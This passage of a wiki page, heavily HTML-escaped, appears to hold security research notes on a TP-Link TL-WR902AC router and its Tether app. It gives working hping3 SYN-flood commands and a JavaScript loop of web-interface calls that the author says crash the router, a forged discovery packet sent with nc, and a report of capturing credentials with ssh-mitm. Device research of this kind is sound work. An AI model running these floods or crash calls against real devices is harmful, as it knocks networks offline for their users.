&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using hPing&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# TCP SYN FLOOD ATTACK&lt;br /&gt;
# Strongly affects the overall system performance and makes even a UART connection buggy&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
# Makes everything slower but no global denial of service&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 22 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 139 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 445 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 1900 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 40955 --flood --rand-source 192.168.1.1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using some odd CGI calls&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Also crashes the server (Dont know which oid)&lt;br /&gt;
// httpd still running but not responding anymore (doesnt kill any service)&lt;br /&gt;
var oid_list = [IGD, IGD_DEV_INFO, SYSLOG_CFG, MANAGEMENT_SERVER, ETH_SWITCH, SYS_CFG, NET_CFG, USER_CFG, CURRENT_USER, APP_CFG, HTTP_CFG, PH_DDNS_CFG, PH_RT_DATA, DYN_DNS_CFG, UPNP_CFG, UPNP_PORTMAPPING, DIAG_TOOL, CWMP_CFG, SNMP_CFG, NOIP_DNS_CFG, CMX_DNS_CFG, ACL_CFG, WAN_TYPE_DETECT, DMZ_HOST_CFG, TIME, HOUR, L3_FORWARDING, L3_FORWARDING_ENTRY, L3_IP6_FORWARDING, L3_IP6_FORWARDING_ENTRY, L2_BRIDGING, L2_BRIDGING_ENTRY, L2_BRIDGING_FILTER, L2_BRIDGING_INTF, LAN_DEV, LAN_HOST_CFG, LAN_IP_INTF, LAN_DHCP_STATIC_ADDR, LAN_DHCP_COND_SRV_POOL, LAN_DHCP_COND_SRV_POOL_OPT, YANDEX_DNS_POOL, LAN_IP6_HOST_CFG, LAN_IP6_INTF, LAN_ETH_INTF, LAN_HOSTS, LAN_HOST_ENTRY, LAN_WLAN, LAN_WLAN_WPS, LAN_WLAN_MACTABLEENTRY, LAN_WLAN_ASSOC_DEV, LAN_WLAN_BSSDESC_ENTRY, LAN_WLAN_WEPKEY, LAN_WLAN_WDSBRIDGE, LAN_WLAN_MULTISSID, LAN_WLAN_MSSIDENTRY, LAN_WLAN_MSSIDWEPKEY, MSSID_MACTABLEENTRY, LAN_WLAN_WLBRNAME, LAN_WLAN_TASK_SCHEDULE, LAN_WLAN_QUICKSAVE, LAN_WLAN_GUESTNET, LAN_IGMP_SNOOP, WAN_DEV, WAN_COMMON_INTF_CFG, WAN_DSL_INTF_CFG, WAN_DSL_INTF_STATS, WAN_DSL_INTF_STATS_TOTAL, WAN_DSL_AUTOPVC, WAN_DSL_AUTO_PVC_PAIR, WAN_ETH_INTF, WAN_ETH_INTF_STATS, WAN_PON, WAN_EPON_INTF, WAN_EPON_INTF_OAM_STATS, WAN_EPON_INTF_MPCP_STATS, WAN_EPON_INTF_STATS, WAN_EPON_INTF_OPTICAL_STATS, WAN_GPON_INTF, WAN_GPON_INTF_OMCI_STATS, WAN_GPON_INTF_STATS, WAN_GPON_INTF_OPTICAL_STATS, WAN_CONN_DEVICE, WAN_DSL_LINK_CFG, WAN_PON_LINK_CFG, WAN_ETH_LINK_CFG, WAN_USB_3G_LINK_CFG, USB_MODEM_PARAM, WAN_L2TP_CONN, WAN_L2TP_CONN_PORTMAPPING, L2TP_CONN_PORTTRIGGERING, WAN_L2TP_CONN_STATS, WAN_PPTP_CONN, WAN_PPTP_CONN_PORTMAPPING, PPTP_CONN_PORTTRIGGERING, WAN_PPTP_CONN_STATS, WAN_IP_CONN, WAN_IP_CONN_PORTMAPPING, IP_CONN_PORTTRIGGERING, WAN_PPP_CONN, WAN_PPP_CONN_PORTMAPPING, PPP_CONN_PORTTRIGGERING, WAN_PPP_CONN_STATS, STAT_CFG, STAT_ENTRY, DDOS_CFG, DOS_HOST, ARP, ARP_ENTRY, ARP_BIND, ARP_BIND_ENTRY, QUEUE_MANAGEMENT, CLASSIFICATION, QOS_APP, QOS_INTF, QOS_QUEUE, TC, TC_RULE, ALG_CFG, IPTV, DSL_IPTV_CFG, ETH_IPTV_CFG, FIREWALL, INTERNAL_HOST, EXTERNAL_HOST, TASK_SCHEDULE, RULE, URL_LIST, URL_CFG, IP6_FIREWALL, IP6_INTERNAL_HOST, IP6_EXTERNAL_HOST, IP6_TASK_SCHEDULE, IP6_RULE, IP6_TUNNEL, DSLITE, SIT_6RD, SERVICES, VOICE, XTP_VOICE_PROCESS_STS, XTP_VOICE_PROCESS, VOICE_CAP, VOICE_CAP_SIP, VOICE_CAP_MGCP, VOICE_CAP_CODECS, VOICE_PROF, VOICE_PROF_PROVIDER, VOICE_PROF_SIP, VOICE_PROF_SIP_EVTSUBSCRIBE, VOICE_PROF_MGCP, VOICE_PROF_RTP, VOICE_PROF_FAXT38, XTP_USB_VOICEMAIL_PUBLICCFG, XTP_MULTI_ISP, XTP_MULTIISP_CODEC, XTP_MULTIISP_CODEC_LIST, VOICE_PROF_LINE, VOICE_PROF_LINE_SIP, VOICE_PROF_LINE_XTPUSBVM, VOICE_PROF_LINE_CALLFEAT, VOICE_PROF_LINE_PROC, VOICE_PROF_LINE_CODEC, VOICE_PROF_LINE_CODEC_LIST, VOICE_PROF_LINE_STATS, XTP_FEATURE_CODE, VOICE_PHY_INTERFACE, VOICE_PHYINTERFACE_TESTS, XTP_VOICE_MULTI_ISPDIALPLAN, XTP_VOICE_PSTN, STORAGE_SERVICE, CAPABLE, USER_ACCOUNT, USB_DEVICE, LOGICAL_VOLUME, FOLDER_BROWSE, FOLDER_NODE, DLNA_MEDIA_SERVER, DLNA_MEDIA_SERVER_FOLDER, SMB_SERVICE, SMB_SERVICE_FOLDER, SMB_USER_ACCESS, FTP_SERVER, FTP_SERVER_FOLDER, FTP_USER_ACCESS, XTP_PRINT_SERVICE, XTP_IGD_CALL_FIREWALL_CFG, XTP_IGD_SPEED_DIAL_CFG, XTP_IGD_MULTI_ISP_DIAL_PLAN, XTP_IGD_MULTIISPDP_LIST, XTP_CALLLOGCFG, IPSEC, IPSEC_CFG, SYS_MODE, EWAN, USER_INFO, GPON_USER_INFO, GPON_AUTH_CTC, GPON_AUTH_SN, GPON_AUTH_PWD, GPON_MAC_INFO, GPON_FWD_RULE, GPON_LOCAL_RULE_ENTRY, GPON_REMOTE_RULE_ENTRY, GPON_OMCI_IOT, GPON_OMCI_IOT_ENTRY, GPON_OMCI_ME_ATTR, CLOUD_SERVICE, FW_UPGRADE_INFO, CLOUD_USER_ACCOUNT, OWNER_INFO, CURRENT_USER_INFO, CLOUD_DDNS, CLOUD_DDNS_ENTRY, WAN_BLOCK, WAN_ERROR_BLOCK, FW_UP_INFO_BLOCK, IPPING_DIAG, TRACEROUTE_DIAG, SDMZ_CFG, WEB_CFG, VLAN, ISP_SERVICE, WOL, WOL_ITEM, IPV6_CFG, SYS_STATE, IPV6_PASS_THROUGH, AUTO_REBOOT_CFG, CPU_MEM, PRODUCE_INFO, MULTIMODE, MULTIMODE_AP, AP_CONFIG_WEPKEY, AP_SNMP_CFG, MULTIMODE_CLIENT, MULTIMODE_RE, RE_CONFIG_WEPKEY, MULTIMODE_ROUTER, ROUTER_CONFIG_WEPKEY, ROUTER_CONFIG_MULTISSID, ROUTER_CONFIG_MSSIDENTRY, MULTIMODE_MSSID, MSSID_CONFIG_MULTISSID, MSSID_CONFIG_MSSIDENTRY, MULTIMODE_HOTSPOT, PING_WATCH_DOG, LED_CONTROL];&lt;br /&gt;
&lt;br /&gt;
for(let i=0; i&amp;lt;oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GL, oid_list[i]);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Mobile App&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Tether&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;&amp;quot;TP-Link Tether provides the easiest way to access and manage your TP-Link Router/ xDSL Router/ Range Extender with your mobile devices. From quick setup to parental controls, Tether provides a simple, intuitive user interface to see your device status, online client devices and their privileges.&amp;quot;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The TP-Link tether app adopts SSH services and TCP port 22 is opened on supported TP-Link devices. However, these SSH Services are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. &amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/us/support/faq/2462/ Support]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;OS&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Android&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://play.google.com/store/apps/details?id=com.tplink.tether&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;IOS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://itunes.apple.com/us/app/tp-link-tether/id599496594?ls=1&amp;amp;mt=8&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Requires in-depth investigation!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Wireshark_tether_app_device_decovery.png|300px|right|thumb|Tether: Wireshark Device Discovery]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Device Discovery&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Before establishing an SSH session, the Tether app sends an multicast discovery UDP packet to &amp;lt;code&amp;gt;255.255.255.255&amp;lt;/code&amp;gt; on port &amp;lt;code&amp;gt;20002&amp;lt;/code&amp;gt;. This message gets send 4 times. After that, the Tether app send another unicast message to responding devices on port &amp;lt;code&amp;gt;20002&amp;lt;/code&amp;gt;. The syntax of the payload is mostly unclear, an change after a restart. Anyway a device will still respond to any payload captured at any time. I assume that this discovery process is used to get device capatibilities and to finally initialize a secure channel via SSH. How the SSH tunnel gets initiated is also unkown at this state of research. The Tether app uses [http://www.jcraft.com/jsch/ Java Secure Channel] client and the devices use a dropbear server for SSH connections.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Multicast Discovery Request&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
Internet Protocol Version 4, Src: 192.168.1.102, Dst: 255.255.255.255&lt;br /&gt;
User Datagram Protocol, Src Port: 54909, Dst Port: 20002&lt;br /&gt;
Data: 0100000200001101000001d235406ce6 (16 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   ff ff ff ff ff ff 3c 22 fb 9b fb 7e 08 00 45 00   ......&amp;lt;&amp;quot;...~..E.&lt;br /&gt;
	// 0010   00 2c 16 ae 40 00 40 11 62 05 c0 a8 01 66 ff ff   .,..@.@.b....f..&lt;br /&gt;
	// 0020   ff ff d6 7d 4e 22 00 18 63 14 01 00 00 02 00 00   ...}N&amp;quot;..c.......&lt;br /&gt;
	// 0030   11 01 00 00 01 d2 35 40 6c e6                     ......5@l.&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Multicast Discovery Response&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102&lt;br /&gt;
User Datagram Protocol, Src Port: 20002, Dst Port: 54909&lt;br /&gt;
Data: 0100000200b01201000001d2fdb65d9800010004c0a80101… (192 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00   &amp;lt;&amp;quot;...~...n....E.&lt;br /&gt;
	// 0010   00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8   ....@.@..Y......&lt;br /&gt;
	// 0020   01 66 4e 22 d6 7d 00 c8 3e c8 01 00 00 02 00 b0   .fN&amp;quot;.}..&amp;gt;.......&lt;br /&gt;
	// 0030   12 01 00 00 01 d2 fd b6 5d 98 00 01 00 04 c0 a8   ........].......&lt;br /&gt;
	// 0040   01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00   ................&lt;br /&gt;
	// 0050   00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36   ......98:DA:C4:6&lt;br /&gt;
	// 0060   45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50   E:00:FC.......TP&lt;br /&gt;
	// 0070   2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04   -Link_00FC......&lt;br /&gt;
	// 0080   00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c   ..............TL&lt;br /&gt;
	// 0090   2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00   -WR902AC........&lt;br /&gt;
	// 00a0   00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65   ..........Wirele&lt;br /&gt;
	// 00b0   73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64   ssRouter.....(ed&lt;br /&gt;
	// 00c0   63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64   c87f7972719ff36d&lt;br /&gt;
	// 00d0   30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46   076fa0540e39bbFF&lt;br /&gt;
	// 00e0   30 30 30 30 30 30 ff 00 00 00                     000000....&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Unicast Discovery Request&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.102, Dst: 192.168.1.1&lt;br /&gt;
User Datagram Protocol, Src Port: 44794, Dst Port: 20002&lt;br /&gt;
Data: 0100000200001101000003e56b89a97b (16 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   98 da c4 6e 00 fc 3c 22 fb 9b fb 7e 08 00 45 00   ...n..&amp;lt;&amp;quot;...~..E.&lt;br /&gt;
	// 0010   00 2c a6 c3 40 00 40 11 10 46 c0 a8 01 66 c0 a8   .,..@.@..F...f..&lt;br /&gt;
	// 0020   01 01 ae fa 4e 22 00 18 53 fc 01 00 00 02 00 00   ....N&amp;quot;..S.......&lt;br /&gt;
	// 0030   11 01 00 00 03 e5 6b 89 a9 7b                     ......k..{&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Unicast Discovery Response&amp;lt;/b&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102&lt;br /&gt;
User Datagram Protocol, Src Port: 20002, Dst Port: 44794&lt;br /&gt;
Data: 0100000200b01201000003e56c37995b00010004c0a80101… (192 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00   &amp;lt;&amp;quot;...~...n....E.&lt;br /&gt;
	// 0010   00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8   ....@.@..Y......&lt;br /&gt;
	// 0020   01 66 4e 22 ae fa 00 c8 b9 f4 01 00 00 02 00 b0   .fN&amp;quot;............&lt;br /&gt;
	// 0030   12 01 00 00 03 e5 6c 37 99 5b 00 01 00 04 c0 a8   ......l7.[......&lt;br /&gt;
	// 0040   01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00   ................&lt;br /&gt;
	// 0050   00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36   ......98:DA:C4:6&lt;br /&gt;
	// 0060   45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50   E:00:FC.......TP&lt;br /&gt;
	// 0070   2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04   -Link_00FC......&lt;br /&gt;
	// 0080   00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c   ..............TL&lt;br /&gt;
	// 0090   2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00   -WR902AC........&lt;br /&gt;
	// 00a0   00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65   ..........Wirele&lt;br /&gt;
	// 00b0   73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64   ssRouter.....(ed&lt;br /&gt;
	// 00c0   63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64   c87f7972719ff36d&lt;br /&gt;
	// 00d0   30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46   076fa0540e39bbFF&lt;br /&gt;
	// 00e0   30 30 30 30 30 30 ff 00 00 00                     000000....&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Forged Unicast Discovery Request plus Response Example&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;echo -e &#039;\x01&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x02&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x11&#039;&#039;\x01&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x02&#039;&#039;\x89&#039;&#039;\xfc&#039;&#039;\x17&#039;&#039;\xe0&#039;&#039;\x92&#039; | nc -u 192.168.1.1 20002 | hexdump -C&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;hexdump&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
00000000  01 00 00 02 00 b0 12 01  00 00 02 89 d2 9d a4 13  |................|&lt;br /&gt;
00000010  00 01 00 04 c0 a8 01 01  ff 00 00 00 00 06 00 04  |................|&lt;br /&gt;
00000020  ff ff ff 00 ff 00 00 00  00 02 00 11 39 38 3a 44  |............98:D|&lt;br /&gt;
00000030  41 3a 43 34 3a 36 45 3a  30 30 3a 46 43 ff 00 00  |A:C4:6E:00:FC...|&lt;br /&gt;
00000040  00 03 00 0c 54 50 2d 4c  69 6e 6b 5f 30 30 46 43  |....TP-Link_00FC|&lt;br /&gt;
00000050  ff 00 00 00 00 04 00 04  00 0d c8 8f ff 00 00 00  |................|&lt;br /&gt;
00000060  00 05 00 0a 54 4c 2d 57  52 39 30 32 41 43 ff 00  |....TL-WR902AC..|&lt;br /&gt;
00000070  00 08 00 04 00 00 00 01  ff 00 00 00 00 09 00 0e  |................|&lt;br /&gt;
00000080  57 69 72 65 6c 65 73 73  52 6f 75 74 65 72 ff 00  |WirelessRouter..|&lt;br /&gt;
00000090  00 10 00 28 65 64 63 38  37 66 37 39 37 32 37 31  |...(edc87f797271|&lt;br /&gt;
000000a0  39 66 66 33 36 64 30 37  36 66 61 30 35 34 30 65  |9ff36d076fa0540e|&lt;br /&gt;
000000b0  33 39 62 62 46 46 30 30  30 30 30 30 ff 00 00 00  |39bbFF000000....|&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Point of interest&amp;lt;/b&amp;gt;: edc87f7972719ff36d076fa0540e39bb (32B) FF000000 (8B)&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;SSH Man-in-the-middle&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;Using [https://github.com/jtesta/ssh-mitm ssh-mitm], it was possible to interfear the credential on connnection establishment between the mobile App and a device. However, the connection then breaks down because Tether notices that something is wrong. I suspect this has to do with an SSH tunnel or similar. Unfortunately I don&#039;t know how the Tether App exchanges data via SSH.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Reverse Engineering&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The APK can be decompiled using [https://ibotpeaches.github.io/Apktool/ Apktool] and [https://github.com/skylot/jadx jadx].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; ./assets/tp-link-root-CA.pem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV&lt;br /&gt;
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5&lt;br /&gt;
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF&lt;br /&gt;
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6&lt;br /&gt;
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B&lt;br /&gt;
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m&lt;br /&gt;
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe&lt;br /&gt;
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn&lt;br /&gt;
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E&lt;br /&gt;
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM&lt;br /&gt;
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd&lt;br /&gt;
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ&lt;br /&gt;
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P&lt;br /&gt;
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO&lt;br /&gt;
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ&lt;br /&gt;
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn&lt;br /&gt;
dSAA4fejD/qMQn0=&lt;br /&gt;
-----END CERTIFICATE-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
